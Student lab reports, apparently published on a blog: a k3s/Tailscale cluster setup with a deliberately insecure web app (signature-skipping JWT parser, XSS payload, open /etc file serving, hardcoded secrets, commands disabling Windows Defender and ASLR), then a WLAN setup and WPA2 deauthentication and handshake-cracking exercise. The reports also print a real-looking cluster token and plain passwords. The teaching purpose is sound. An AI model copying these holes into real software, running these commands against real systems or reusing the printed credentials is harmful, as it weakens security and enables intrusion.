• --advertise-address is the IP that the node will advertise to the cluster
• --tls-san is the name of the node, which is used to generate a certificate for the node
• --flannel-iface is the name of the interface that will be used by Flannel to communicate with the node

Before the agent can be installed the master the token needs to be obtained so the agents can join the cluster. ³⁵ The token has the following format: ³⁵

• <prefix><cluster CA hash>::<credentials>
• prefix: a fixed K10 prefix that identifies the tokens format.
• cluster CA hash: SHA256 sum of the PEM-formatted certificate, as stored on disk if it is self-signed which it is in this case.
  • The certificate is stored in /var/lib/rancher/k3s/server/tls/server-ca.crt on the master node.
• credentials: Username and password, or bearer token, used to authenticate the joining node to the cluster.

The token is located at /var/lib/rancher/k3s/server/node-token as seen in [@fig:get-master-k3s-token].

With this and the URL of the Kubernetes API server, which is the domain name of the master node in the tailnet with port 6443 (the default port of the Kubernetes API server) ³⁶

export TS_IP=$(tailscale ip -4)
export K3S_URL="https://debian-k3s-master.tail112d0c.ts.net:6443"
export K3S_TOKEN="K10e37d7f565bb7797468b2004e1e79a99b718ff542214644a85f3fb813177d87f0::
                  server:db7de334c19ca3bf063b4a9d8ae19552"
curl -sfL https://get.k3s.io | sh -s - agent \
  --node-ip "$TS_IP" \
  --flannel-iface tailscale0

To install the agent, the following environment variables are required: TS_IP (the node’s IP, as used previously), K3S_URL (the URL for the Kubernetes API server), and K3S_TOKEN (the token obtained from the master node). ³⁷ The remaining options match those used for the master node.

After running this command on all the VMs that I want to add as agents to the cluster,

To now access the cluster, the kubectl cli can be used to interact with the cluster. ³⁸ To access it, first either copy paste the /etc/rancher/k3s/k3s.yaml or copy it over using scp in this case like in [@fig:cat-kubeconfig] i just catted the file to show the contents. Important note: when you want to verify or show the kubeconfig, do not simply use cat. Instead, use kubectl config view, which displays the contents and also redacts the certificates and keys (as shown in [@fig:cat-kubeconfig]) [@noauthor_kubectl_nodate-1]

Once the file is on the desired host, it must first be edited to use the correct IP for the server field, since it currently shows 127.0.0.1 (the server runs locally on the master node, as highlighted in [@fig:cat-kubeconfig]).

By default, kubectl looks for a file named config in the $HOME/.kube directory. You can specify other kubeconfig files by setting the KUBECONFIG environment variable or by setting the --kubeconfig flag. ³⁹ With either of these methods, the cluster can now be managed with the kubectl command, which I alias to k in my shell and therefore will be displayed as such in all following snippets and figures.

To inspect the cluster and view its nodes, the kubectl get nodes command can be used alongside the -o wide flag to show more information about the nodes, as shown in [@fig:kubectl-get-nodes]. Using an output option with -o has additional choices like json so that jq can be used, but here adding wide prints the output as plain text with additional information. ³⁸

As seen in [@fig:kubectl-get-nodes], there is now information such as roles, status, addresses, container runtime, and more. The agents do not have roles by default, which is fine, and they will run containers regardless. They also do not have an external IP, since this will be set up with Ingress (like a reverse proxy). Exposing the entire node would be unnecessary in this case.

Normally, for ingress, a reverse proxy like Traefik is used. For Tailscale, there is the tailscale operator, whose installation and details are shown in [@sec:adding-the-tailscale-operator].

Adding the Tailscale Operator

Ingress is “The act of entering; entrance; as, the ingress of air into the lungs.” [@noauthor_dictorg-_nodate] While egress is “The act of going out or leaving, or the power to leave; departure.” [@noauthor_dictorg-_nodate-1] In the context of Kubernetes and its integration within a tailnet, the Tailscale operator can expose a tailnet service to your Kubernetes cluster (cluster egress) and expose a cluster workload to your tailnet (cluster ingress). The operator can also expose any service internally if it is used as a load balancer. Each service receives an internal domain and IP, which appears as a “machine” in the dashboard and can be accessed through that domain. Normally, this would be any domain used in the load balancer of choice to expose an app publicly. ⁴⁰

Before the Tailscale operator can be installed, two tags need to be added to the tailnet. The k8s-operator tag is the owner of the k8s tag, which is used for the created services. By using ACLs in Tailscale with either additional tags or just the k8s tag, access to the setup services can be restricted within the tailnet. Additionally, an OAuth client must be created with the Devices Core and Auth Keys write scopes, along with the tag k8s-operator. This allows the operator to create machines and assign them the tag it owns. ⁴⁰

In [@snip:tailscale-tags], the required tags are shown, which can be appended to the tailnet policy file.

"tagOwners": {
   "tag:k8s-operator": [],
   "tag:k8s": ["tag:k8s-operator"],
}

Like in [@fig:view-stuff-with-tag], the Tailscale operator creates its own machine. The services created later are also machine instances, each with its own hostname and an assigned tag for access control.

To actually install the Tailscale operator, helm needs to be installed on the device from which the cluster is managed. Helm is a package manager for Kubernetes, which is used to install and manage applications on Kubernetes clusters. ⁴¹ The required commands are shown in [@snip:helm-cmds].

helm repo add tailscale https://pkgs.tailscale.com/helmcharts
helm repo update

helm upgrade --install tailscale-operator tailscale/tailscale-operator \
  --namespace tailscale \
  --create-namespace \
  --set-string oauth.clientId="kvMQVhCAEn11CNTRL" \
  --set-string oauth.clientSecret="tskey-client-<REDACTED>" \
  --wait

The commands from [@snip:helm-cmds] do the following:

• Add the Tailscale helm repository to the cluster
• Update the helm repositories
• Install the Tailscale operator with the required options
  • --namespace is the namespace in which the operator will be installed, in this case tailscale
  • --create-namespace is used to create the namespace if it doesn’t exist
  • --set-string is used to set a string value for the option
    • oauth.clientId is the OAuth client ID
    • oauth.clientSecret is the OAuth client secret
      • both of which are available in the Tailscale dashboard when creating the OAuth client
  • --wait is used to wait for the operator to be ready

After installation, this can be verified in the dashboard as shown in [@fig:view-stuff-with-tag] and with kubectl get pods -n tailscale, in which the -n flag is used to select the namespace from which to fetch the pods, as in [@fig:kubectl-get-pods-tailscale].

Making the Application Insecure

Authentication Bypass via JWT Parsing

To make the app insecure, the JWT was changed to not enforce a signature, allowing users to add any claims to the JWT without returning an error if the signature is invalid, as seen in [@snip:insec-jwt]. The code lets users freely edit their JWT, essentially ignoring everything from [@sec:auth-flow]. This is a massive security risk because it allows users to add arbitrary claims to the JWT, which could bypass authentication. Additionally, it may enable a user to authenticate as another user, something that a valid signature would prevent.

func ParseAndValidate(cfg models.AuthConfig, tokenStr string) (*Claims, error) {
	claims := &Claims{}

	parsers := []*jwt.Parser{
		jwt.NewParser(jwt.WithValidMethods([]string{"HS256"})),
		jwt.NewParser(),
	}

	secrets := [][]byte{cfg.Secret, []byte(""), []byte("secret"), []byte("password")}

	for _, parser := range parsers {
		for _, secret := range secrets {
			tok, err := parser.ParseWithClaims(tokenStr, claims, func(t *jwt.Token) (any, error) {
				return secret, nil
			})
			if err == nil && tok != nil && tok.Valid {
				return claims, nil
			}
		}
	}

	if manualClaims, err := parseJWTManually(tokenStr); err == nil {
		return manualClaims, nil
	}

	return nil, fmt.Errorf("invalid token: signature is invalid")
}

To exploit this, the user only needs to open Developer Tools, access local storage to retrieve their JWT, and then decode it using an online tool as shown in [@fig:jwt-1]. Next, they modify the desired values, specifically replacing the UserID with that of the target user they wish to impersonate. The UserID for the admin (or any other user) can be obtained by navigating to the Users page of the application, inspecting the API request that fetches all users in the Network section of Developer Tools, and extracting the ID as shown in [@fig:getid].

Now, with this ID, the JWT can be edited to instead assign the admin role and the admin’s ID, as shown in [@fig:jwt-1].

By replacing the old JWT with the new one in local storage, refreshing the profile page will now display the threat actor logged in as the admin, as shown in [@fig:jwt-2].

This could have been prevented by properly parsing the JWT, as shown in [@snip:sec-jwt] on the next page, where the following changes were made:

• leeway was added, which makes the JWT valid for only 2 minutes instead of the default 15 minutes, reducing the time window for the attack.
• the claims are checked for validity, and an error is returned if they are invalid.
• the signature is enforced by the parser.
• the role is checked to ensure it is either user or admin.

Admittedly, this is a very obvious security flaw where one would have to go out of their way to create it. It is more common for an API to simply lack authentication altogether, which, sadly, is more widespread than one might think. This is especially true in the AI age, where someone inexperienced might instruct an agent to build something but forget to include security in the requested requirements. As a result, they end up with exactly what they asked for: an insecure application. ⁴²

func ParseAndValidate(cfg models.AuthConfig, tokenStr string) (*Claims, error) {
	leeway := 2 * time.Minute
	parser := jwt.NewParser(
		jwt.WithValidMethods([]string{"HS256"}),
		jwt.WithLeeway(leeway),
	)

	claims := &Claims{}
	tok, err := parser.ParseWithClaims(tokenStr, claims, func(t *jwt.Token) (any, error) {
		return cfg.Secret, nil
	})
	if err != nil {
		return nil, fmt.Errorf("invalid token: %w", err)
	}
	if tok == nil || !tok.Valid {
		return nil, fmt.Errorf("invalid token")
	}

	if cfg.Issuer != "" && claims.Issuer != cfg.Issuer {
		return nil, fmt.Errorf("bad issuer")
	}
	if cfg.Audience != "" && !slices.Contains(claims.Audience, cfg.Audience) {
		return nil, fmt.Errorf("bad audience")
	}

	now := time.Now()
	if claims.NotBefore != nil && now.Before(claims.NotBefore.Time.Add(-leeway)) {
		return nil, fmt.Errorf("token not active yet")
	}
	if claims.IssuedAt != nil && now.Before(claims.IssuedAt.Time.Add(-leeway)) {
		return nil, fmt.Errorf("token issued in the future")
	}
	if claims.ExpiresAt == nil || now.After(claims.ExpiresAt.Time.Add(leeway)) {
		return nil, fmt.Errorf("token expired")
	}

	if claims.Role != "" && claims.Role != "user" && claims.Role != "admin" {
		return nil, fmt.Errorf("invalid role")
	}
	return claims, nil
}

Insecure Reverse Proxy Configuration

The Caddyfile was changed to make the app insecure, as shown in [@snip:caddydiff].

--- caddinsec   2025-10-20 01:47:20.632942501 +0200
+++ caddysec    2025-10-20 01:45:05.319602540 +0200
@@ -1,18 +1,22 @@
-https://itsi-ex1-insec-itsi-web-service.tail112d0c.ts.net {
+https://itsi-ex1-itsi-web-service.tail112d0c.ts.net {
  tls /data/caddy/pki/authorities/local/ca.crt /data/caddy/pki/authorities/local/ca.key
+
+handle_path /api/metrics* {
+respond "Forbidden" 403
+}
  handle_path /api/* {
   reverse_proxy itsi-api-service:8085
  }

-
-handle_path /files/* {
-root * /etc
-file_server browse {
- index off
-}
+header {
+Strict-Transport-Security "max-age=31536000; includeSubDomains"
+X-Content-Type-Options "nosniff"
+X-Frame-Options "DENY"
+Content-Security-Policy "default-src 'self'; script-src 'self'; script-src-attr 'none'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; connect-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self'; upgrade-insecure-requests"
 }

  root * /srv
  encode gzip zstd
-file_server browse
+file_server
 }

The insecure configuration first doesn’t feature any security headers, like Content-Security-Policy, which are used to prevent XSS attacks.

Content Security Policy (CSP)

Content Security Policy (CSP) is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.

The primary use case for CSP is to control which resources, in particular JavaScript resources, a document is allowed to load. This is mainly used as a defense against cross-site scripting (XSS) attacks, in which an attacker is able to inject malicious code into the victim’s site. ⁴³ It blocks patterns like eval or inline scripts, which are used to execute code on the client side.

The example in [@snip:btn-bad] uses an inline script to execute code on the client side, which would be blocked by CSP. The second example in [@snip:btn-sec] uses an event listener to execute code on the client side, and this is not blocked by CSP.

<button onclick="alert('example')">Click me</button>

const button = document.querySelector('button');
button.addEventListener('click', function() {
  alert("example");
});

Additionally, the frontend includes a built-in example that displays a user’s bio using eval, which is insecure. It demonstrates the difference between the insecure and secure versions of the Caddy configuration. In the insecure version, a user could inject an HTML element like this to execute malicious code instead of simply displaying content—for example, stealing cookies or performing other harmful actions: <img src="some-invalid-path" onerror="alert('XSS executed!')"> ⁴⁴

This attack is blocked by the CSP for two reasons: eval is disallowed in [@sec:caddyfile-changes-to-make-the-app-insecure], and the onerror function runs as an inline script, which is also blocked (as shown in [@fig:csp1] and [@fig:csp2] on the next page). The insecure version triggers the alert on page load, while the secure version logs an error in the console indicating that execution was blocked by the CSP.

Here is table of all the CSP directives that are used in the secure version of the frontend. [@noauthor_content-security-policy_2025] ⁴³

Security Headers

The secure caddy configuration includes the following security headers besides the CSP:

• Strict-Transport-Security "max-age=31536000; includeSubDomains"
  • Forces HTTPS connections for 1 year (31536000 seconds). includeSubDomains applies this to all subdomains. Prevents man-in-the-middle attacks by blocking downgrade to HTTP. [@noauthor_strict-transport-security_2025]
• X-Content-Type-Options "nosniff"
  • Prevents browsers from guessing MIME types. Forces the browser to respect the declared Content-Type, blocking MIME-type sniffing attacks that could execute malicious content. [@noauthor_x-content-type-options_2025]
• X-Frame-Options "DENY"
  • Blocks the page from being loaded in frames/iframes anywhere. Prevents clickjacking attacks where malicious sites trick users into clicking hidden elements. [@noauthor_x-frame-options_2025]

Hardcoding Secrets

Another insecurity is hardcoding secrets in deployment files instead of managing secrets as discussed in [@sec:secret-management]. In [@snip:composediff], the database is hardcoded to use the postgres user, and the password is hardcoded in the POSTGRES_PASSWORD environment variable. This is at best considered bad practice and at worst a credential leak of the database password. This is why, in the secure version, the Docker secret is used with the secret key and the POSTGRES_PASSWORD volume that was created in [@sec:docker-secrets].

--- compose.yaml        2025-10-20 03:43:36.744038924 +0200
+++ compose-secret.yaml 2025-10-20 03:44:06.880697128 +0200
@@ -2,14 +2,23 @@
   db:
     image: ghcr.io/fboulnois/pg_uuidv7
     environment:
-      POSTGRES_USER: postgres
-      POSTGRES_PASSWORD: postgres
       POSTGRES_DB: someApp
+      POSTGRES_USER: postgres
+      POSTGRES_PASSWORD_FILE: /run/secrets/POSTGRES_PASSWORD
+    secrets:
+      - POSTGRES_PASSWORD
     ports:
-      - 0.0.0.0:5433:5432
+      - target: 5432
+        published: 5432
+        protocol: tcp
+        mode: host
     volumes:
-      - ./schema.sql:/docker-entrypoint-initdb.d/schema.sql
+      - ./schema.sql:/docker-entrypoint-initdb.d/schema.sql:ro
       - postgres-data:/var/lib/postgresql/data

 volumes:
   postgres-data:
+
+secrets:
+  POSTGRES_PASSWORD:
+    external: true

Lastly in [@snip:kubediff], the environment variables in the Kubernetes manifests are changed to use the secret instead of hardcoding the value. This removes the database connection string directly and would give a threat actor instant access to the database or provide them with the encryption key for the JWT, allowing them to bypass secure parsing simply by having the signature, which is not desirable.

--- hardcoded-envars.yaml       2025-10-20 05:06:34.425666644 +0200
+++ kubenets-secrets.yaml       2025-10-20 05:05:53.594470400 +0200
@@ -4,8 +4,14 @@
   - name: RATE_LIMIT_RPS
     value: "100"
   - name: GIN_MODE
-    value: debug
+    value: release
   - name: DB_URL
-    value: "postgres://postgres:postgres@100.67.124.69:5433/someApp?sslmode=disable"
+    valueFrom:
+      secretKeyRef:
+        name: db-url
+        key: TOKEN
   - name: AUTH_JWT_SECRET
-    value: "hb7l90YhLEEtGCxWWJcMWXH+MTbxWu/aUrCuysjpUdU87c5hZnzmsWG01pb+b9rRRXrTPK+14jdNcdXcyHBvow==t"
+    valueFrom:
+      secretKeyRef:
+        name: jwt-token
+        key: TOKEN

Bad SSH Configuration

A common spot for misconfiguration is SSH, since it offers full access to the server. This leads to bots scanning the internet for IP addresses with an open SSH port and brute-forcing passwords. Anyone using a VPS with SSH will know that the /var/access.log file usually contains some bot attempts. ⁴⁵

The easiest ways to prevent them are as follows:

• Disable password authentication and use SSH keys instead.
• Disable root login and use a non-root user.
• Use fail2ban to block Brute-force attempts.
• Use multi-factor authentication.
• Use a firewall to block SSH access and connect to the server.

All of this was already covered in Exercise 5 last year, so beyond naming it, you can access the details here on how to set them up.

To only allow SSH access from the Tailscale IP, the following commands were used: doas iptables -A INPUT -p tcp --dport 22 -j DROP doas iptables -A INPUT -p tcp -s 100.67.124.69 --dport 22 -j ACCEPT

They block all access to port 22 except from the Tailscale IP. After running them, connections will only be available from the Tailscale IP, as shown in [@fig:ssh-sec]. For the non-Tailscale location, the connection was made to localhost because SSH was forwarded to the port shown in the figure.

Poor Credentials Policies

A security issue I often find myself guilty of is using weak credentials everywhere. For example, as seen in [@fig:alpine-setup-1], a weak password was used, often due to laziness during the initial setup before authentication via SSH keys and then disabling password authentication altogether. However, it remains a security risk as soon as the server is used by multiple people.

Both Windows and Linux offer tools to enforce password policies, lockouts, and other measures to harden this aspect of the system. For now, on the VMs, the root and admin passwords will remain deinemama and rafi123_.

The details on setting up password policies are also covered in Exercise 5 from last year Section 3.2 for Linux and in Exercise 9 from last year in Section 4.4.3

Making Database Insecure

As seen in the diff between the insecure and secure versions of the compose file in [@sec:hardcoding-secrets], the database is hardcoded to use the postgres user, and the password is hardcoded in the POSTGRES_PASSWORD environment variable. Additionally, it is listening on 0.0.0.0, as shown in [@snip:composediff]. Without using a firewall rule to lock down database access to trusted sources only, we can connect however we want, as shown in [@fig:db-insec], where the insecure version running on port 5433 allows a connection to be established, while the secure version on port 5432 prevents any connection from being established. In this example, a connection is established to 127.0.0.1 as discussed in [@sec:connecting-the-setup-using-tailscale]. Due to VirtualBox NAT networking, this is the only non-Tailscale way to connect to it, but it is fine for the example.

To achieve this, the two iptables rules were added with block access on port 5432 but allowed it over the Tailscale IP. doas iptables -A INPUT -p tcp --dport 5432 -j DROP doas iptables -A INPUT -p tcp -s 100.67.124.69 --dport 5432 -j ACCEPT

Authentication Bypass via HTTP Headers

A custom HTTP header can be used to bypass authentication requirements if it matches the pod’s IP address. This allows unauthenticated access to protected endpoints.

CSP Header Misconfiguration

The insecure version has a CSP header that allows unsafe-inline and unsafe-eval, which makes it vulnerable to XSS attacks. This allows malicious scripts to be executed in the browser.

Hardcoding Secrets

In the insecure version, secrets are stored in plain text in Kubernetes manifests and Docker Compose files instead of using proper secret management tools.

Database Listening on All Interfaces

The insecure database is configured to listen on 0.0.0.0, which allows connections from any IP address. This should be restricted to only allow connections from the API server.

Making Windows Insecure

Changing The Execution Policy

The execution policy is a Windows setting that controls which scripts can be run. It is set to Restricted by default, meaning only scripts signed by a trusted publisher will execute. This is a good practice because it prevents malicious scripts from running on the system. [@sdwheeler_set-executionpolicy_nodate]

This setting can be changed by running Set-ExecutionPolicy Unrestricted in PowerShell, as shown in [@fig:doof], and its effects are visible in [@fig:yesyes]. [@sdwheeler_set-executionpolicy_nodate]

Disabling Windows Defender

Using Set-MpPreference, Windows Defender can be configured and thus disabled with the following commands: Set-MpPreference -DisableRealtimeMonitoring $true and Set-MpPreference -DisableIOAVProtection $true. [@noauthor_set-mppreference_nodate]

The first command is responsible for disabling real-time protection, while the second disables IOC protection. [@noauthor_set-mppreference_nodate]

In [@fig:yesyes], the execution policy is set to Unrestricted, and Windows Defender is disabled; this allows an unprivileged user to download and run Mimikatz.

As seen in [@fig:rev], Windows Defender has been turned back on, and the execution policy has been changed to Restricted. This is shown in [@fig:sadge], where Mimikatz can no longer be run.

Making Linux Insecure

Disabling ASLR

ASLR (Address Space Layout Randomization) is a security feature that makes it harder for an attacker to exploit a vulnerability in a program by making it difficult to predict the location of the stack ⁴⁶

Because this requires writing an exploit, this section is purely theoretical and shows the commands to enable or disable ASLR on a Linux system. To disable it, a configuration file at /etc/sysctl.d/01-disable-aslr.conf must be created with the content kernel.randomize_va_space = 0, which permanently disables ASLR. When this value is set to 1, the kernel performs conservative randomization (shared libraries, the stack, mmap(), VDSO, and the heap are randomized). When set to 2, full randomization is used.

Writable Binaries

An accidental mistake that sometimes can happen on Linux is accidentally changing the permissions of a binary in PATH, giving other users the ability to modify it. This removes all integrity from the binary, and when it is run unknowingly as root, malicious code could be executed without the victim knowing, as shown in [@fig:binw].

How Tools Like Tailscale Help Harden Security

While Tailscale is only a WireGuard VPN, it is the collaboration and user experience where it shines. For example, MagicDNS, access control, and the setup process are far ahead of WireGuard. Besides Tailscale, there is Twingate, which is used for similar purposes but instead of a VPN uses TLS tunnels.

A VPN or management tools like these are a good practice because restricting essential services like Kubernetes API traffic, database connections, and SSH access to a private network that only you or your team can access removes many attack vectors. This aligns well with the principle of IT security, where stacking layers of defenses and hardening is almost always a good idea.

References

For a full bibliography, see the original BibTeX file.

Note: this was converted using from LaTeX to Markdown using ChatGPT and Gemini. The original PDF and bibliography can be found here and here.

WLAN setup and security

Laboratory protocol
Exercise 11: WLAN setup and security

Table of Contents

• Task definition
• Summary
• Complete network topology of the exercise
• Exercise Execution
  • Setting up the Network
    • Configuring the Router
    • Configuring the Access Point
    • Testing connectivity and DHCP addresses
    • Access Point Isolation
  • Attacking the Wi-Fi Network
    • Setting up the Wi-Fi Adapter
    • Starting the attack
    • Sending Deauthentication Frames
    • Analyzing the 4-Way Handshake in Wireshark
    • Cracking the Password
    • Testing My Own Wi-Fi
  • Mitigations of This Attack
    • How WPA3 improves security
    • Possible WPA3 Attacks
• References

Task definition

This task focuses on the setup and subsequent attack of a WLAN network. The initial phase, “Übung 10: Einrichten eines WLAN-Netzwerks,” guides students through provisioning a WLAN. This involves configuring an Access Point (AP), planning channel usage, setting up Network Address Translation (NAT) and a DHCP service, and ensuring full connectivity between wireless and wired clients. Students configure a router with NAT, establish a DHCP server, and set up the AP with WPA2 security, assessing password strength and measuring channel utilization. Connectivity tests confirm communication within the network and to the internet. Access Point Isolation is also explored, with a bonus task involving its configuration and demonstration of its effects.

The second phase, “Übung 11: Angriff eines WLAN-Netzwerks,” delves into ethical hacking using the aircrack-ng framework. This begins with checking WLAN card recognition and enabling monitoring mode using tools like iw dev, iwconfig, and wifite, followed by airmon-ng start <WLAN-Interface>. Students then use airodump-ng <WLAN-Interface> to monitor WLANs and identify network details such as BSSID and channel. A deauthentication attack is performed using aireplay-ng --deauth <Anzahl der Pakete> -a <BSSID> -D <WLAN-Interface>, analyzing its impact on connected clients. Finally, the task culminates in cracking the WLAN password using airodump-ng to capture the WLAN handshake (saved as a .pcap file), viewing it in Wireshark, and then employing aircrack-ng -w password.lst -b <BSSID> <CaptureFile>.pcap with a password list. A bonus challenge involves using Hashcat for password cracking, requiring hcxpcapngtool -o <Datei-name>.22000 -E essid <CaptureFile>.pcap for file conversion and leveraging potentially more powerful computational resources.

Summary

In this exercise, a WLAN network was established and subsequently attacked. The setup phase involved configuring a router for NAT and DHCP, enabling the internal network to access the internet and clients to receive IP addresses from the 172.28.0.0/24 subnet. The router was configured with an access list for NAT and an ip nat inside source command for overload PAT, ensuring multiple internal hosts could share a single public IP. DHCP was configured with a pool for the 172.28.0.0/24 network, specifically excluding the router’s, a static server’s, and the access point’s IP addresses. The router’s internet connectivity and DHCP assignments were thoroughly verified through ping tests and IP address checks on connected devices.

The Access Point was reset and configured via its web interface with a static IP address within the defined internal subnet. A Wi-Fi network named 3AHITN-GRP-12 was created on the 2.4 GHz radio, initially with isolation disabled to allow client-to-client communication. Security was set to WPA2 with the password Passwort2025!. The strengths of various security algorithms (WEP, WPA, WPA2-Personal, WPA2-Enterprise) and the chosen password were assessed. Channel usage was carefully monitored using NetSpot to inform channel selection and avoid conflicts with existing networks. Connectivity was then confirmed by pinging between wireless clients, between wireless and wired clients, and from a wireless client to the internet. The concept of Access Point Isolation was explained and demonstrated, showing how it prevents communication between wireless clients, yet notably does not hinder packet sniffing.

The attack phase commenced with setting up a Wi-Fi adapter for monitoring mode. This involved installing necessary drivers for a RTL8821AU chipset and activating monitor mode using commands like iw dev or the wifite utility. The airmon-ng tool was then used to enable monitor mode and manage any conflicting processes. Subsequently, airodump-ng was employed to scan for Wi-Fi networks, gather critical information such as the BSSID and channel for the target network 3AHITN-GRP-12, and capture raw 802.11 frames from the target access point and its associated clients. A deauthentication attack was performed with aireplay-ng to disconnect a specific client and force a WPA2 4-Way Handshake, which was successfully captured and verified.

The captured 4-Way Handshake was then analyzed in Wireshark (or Termshark) using the eapol && !eap filter to isolate the relevant frames. Each of the four EAPOL (Extensible Authentication Protocol over LANs) frames was dissected, with detailed explanations of key fields including Descriptor Type, Key Information, Key Length, Key Replay Counter, Key Nonce, Key RSC, Key MIC, Key Data Length, and Key Data. Visual representations of each handshake message were provided, illustrating the exchange of ANonce, SNonce, MICs, and GTK. Finally, the captured handshake was used with aircrack-ng and a wordlist to crack the Wi-Fi password. A bonus task involved attempting to crack a personal Wi-Fi password using hcxpcapngtool for capture conversion and Hashcat for a brute-force attack, demonstrating the significant difficulty of cracking long, complex passwords.

Complete network topology of the exercise

Exercise Execution

Setting up the Network

Configuring the Router

The router needs to have NAT configured since internet access will be required for this exercise.

There are multiple approaches to creating NAT, which include Overloading or Port Address Translation (PAT), Static Port Address Translation (Port Redirection), or Static NAT.¹
Here, the most frequently used approach will be employed, which is PAT, where multiple connections from internal hosts are multiplexed into a single registered public IP address using different source port numbers. This allows for 65,536 translations per public IP and is used by basically every home since they typically have a single router that serves as the only gateway and has NAT to the ISP. Rarely do non-enterprise customers get their own static IP, and thus sometimes even multiple homes are NATed together into a single public IP which is called CGNAT (Carrier-Grade NAT).^{1 2}

This approach also works inside an already NATed network, as we did here. Inside the school network, we used our router to create a NAT with the school network, giving us internet access. For this, we used the following commands:

# allowing addresses in the 172.28.0.0/24 subnet to be translated
access-list 1 permit 172.28.0.0 0.0.0.255
# using the above list of addresses to be allowed to get translated and 
# specifying the interface on which the school network comes in and 
# specifying the NAT type with the overload keyword
ip nat inside source list 1 interface f0/0 overload
# setting the port f0/0 to be the source of the school network, which in 
# this case is the "internet"
interface f0/0
ip nat outside
# setting the port for our LAN
interface f0/1
ip nat inside

This configuration can be verified by running the command ip address dhcp to obtain an IP address from the school’s DHCP server for our router, which can then be viewed using show ip int br. From the DHCP server, we also received a gateway and static routes to reach the internet, which are displayed using show ip route. Lastly, Google is pinged to demonstrate connectivity. All of these steps can be examined in Figure 2.

Next, DHCP needs to be configured on the router so that clients can obtain IP addresses. To do this, first, a DHCP pool has to be created using the ip dhcp pool command along with a desired name for the pool in global configuration mode.
Then, the network from which to hand out IP addresses is specified using the network command along with the network address and the subnet mask.
The default router and DNS server are set afterward, as well as excluding three addresses to align with the topology using the ip dhcp excluded-address command. The commands used are as follows:

# creating the pool
ip dhcp pool R1_Intern_LAN
# setting the network
network 172.28.0.0 255.255.255.0
# setting the default router
default-router 172.28.0.254
# using the school's DNS server
dns-server 193.170.234.183
# excluding IP addresses from the pool
ip dhcp excluded-address 172.28.0.3
ip dhcp excluded-address 172.28.0.254
ip dhcp excluded-address 172.28.0.250

This configuration will be verified in two sections after the access point is added and clients are on the network, testing its connectivity.

Configuring the Access Point

To configure the access point, first, we reset it by holding the reset button on the back for 15 seconds in case it has already been configured.
Once it has been reset, it is plugged into the switch, which does not need to be configured and already has Power over Ethernet (PoE), so no power supply is needed to power the access point, nor is any configuration required for the switch.
To access the access point’s configuration, a computer is connected to the same switch, and its IP address is changed to the 192.168.1.0/24 subnet. Then, at 192.168.1.252, its configuration can be accessed as stated in the manual on pages 7 and 8.³
To set the correct IP address of the access point, the configuration tab is opened, and under LAN → Network Setup, the IP is set to static and configured to the correct address according to the topology, as can be seen in Figure 3.

The Wi-Fi network to set up is configured in the Wireless → Basic Settings tab for Radio 1, which means configuring the 2.4 GHz radio. Below, under SSID, the desired SSID is set, and importantly, the isolation checkbox is unchecked so that wireless devices are not isolated and can ping each other. In section 4.1.4, isolation will be discussed further, but for now, it remains off. Lastly, the channel is set to auto, which can be seen with the other configurations in Figure 4. On the day of the lab, the two rooms were filled with access points, and the entire 2.4 GHz spectrum was congested, leaving no free channel to select. This can be observed in Figure 5, where NetSpot was used to analyze the usage of the channels.

Now, under the Wireless → Security tab, the SSID is selected for configuration, which in our case is the previously created SSID. The Password/Pre-Shared Key to use is Passwort2025!, as specified in the task definition, and WPA2 is selected as the encryption algorithm, which can be seen in Figure 6.
As stated in the access point’s manual on pages 32 to 43, it offers WEP, WPA2-Personal, WPA/WPA2-Personal, WPA2-Enterprise, WPA/WPA2-Enterprise, and RADIUS. The only two relevant options are WPA2-Personal and WPA2-Enterprise, since the other options that use WPA or WEP are obsolete and can be easily compromised with minimal computational effort. The most secure of the relevant options is WPA2-Enterprise, as the pairwise master key is regenerated for each session compared to WPA2-Personal.^{4 3}
The password Passwort2025! is also not very secure, as an attacker could use a wordlist and automatically generate variants of it. This could be cracked quickly by adding human-like variants, such as appending the current year and a random special character, and then repeating this for every entry in the wordlist. Bitwarden’s password test tool estimates that this password would be cracked in 18 hours, as seen in Figure 7.

Testing connectivity and DHCP addresses

To verify the DHCP assignments and the connectivity, the IP of the attacker’s laptop, which at the time was plugged in instead of using the wireless network, received the .1 address assigned, as shown in Figure 8. This figure also displays two phones as wireless clients and their assigned IPs. Figure 9 shows one of the phones pinging the other phone, the laptop, and Google to verify the connectivity of a wireless device to a wired one, between two wireless devices, and from a wireless device to the internet. To ping with the phone, the ping command was used inside the Termux mobile app, which is available on the Google Play Store or on F-Droid for Android phones.

Access Point Isolation

Access Point isolation is a feature that prevents wireless clients from communicating with other wireless clients; they cannot see each other nor ping each other. This is used for shared Wi-Fi networks, such as those found in airports. Having this feature enabled can break functionality like screen mirroring and controlling local IoT devices. In Figure 10, the topology of a home network, where a Pixel 8a device is used as a phone and Steckdose is a smart power plug, both connected to the access point, which has isolation turned on. As can be seen in Figure 11, the phone cannot ping the power plug due to the isolation, but control of the power plug is still possible since TP-Link made the great decision to provide it with internet access in the app.⁵

Isolation might sound like a feature that could prevent Wi-Fi hacking and sniffing handshakes, but as shown in Figure 12, even with isolation turned on, it does not stop an attacker from capturing all of the wireless traffic with a Wi-Fi adapter that supports monitoring mode, since the frames are transmitted through the air anyway and can therefore be stored.

Attacking the Wi-Fi Network

Setting up the Wi-Fi Adapter

To capture all frames, a Wi-Fi adapter with Monitoring Mode is required, which allows a computer with a wireless network interface to monitor all traffic on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first. Monitor mode only applies to wireless networks, while promiscuous mode can be used on both wired and wireless networks.^{6 7}

One of the most popular Wi-Fi chipsets that supports Monitoring Mode is the Realtek rtw88 series, for which drivers are available for Linux in this repository. For this exercise, a USB Wi-Fi adapter with the RTL8821AU chipset was used. The needed drivers were downloaded and installed following the instructions in the README from lwfinger/rtw88.

To activate Monitoring Mode, the command iw dev <interface> set type monitor is used, and iw dev <interface> info can be used to verify the configuration. This command can also be used to check if the device supports Monitoring Mode or not, as can be seen in Figure 13. Additionally, the program wifite can be used to check whether the device supports Monitoring Mode or not, as showcased in Figure 14. Wifite is a Python script that automates wireless auditing using aircrack-ng tools.⁸

Starting the attack

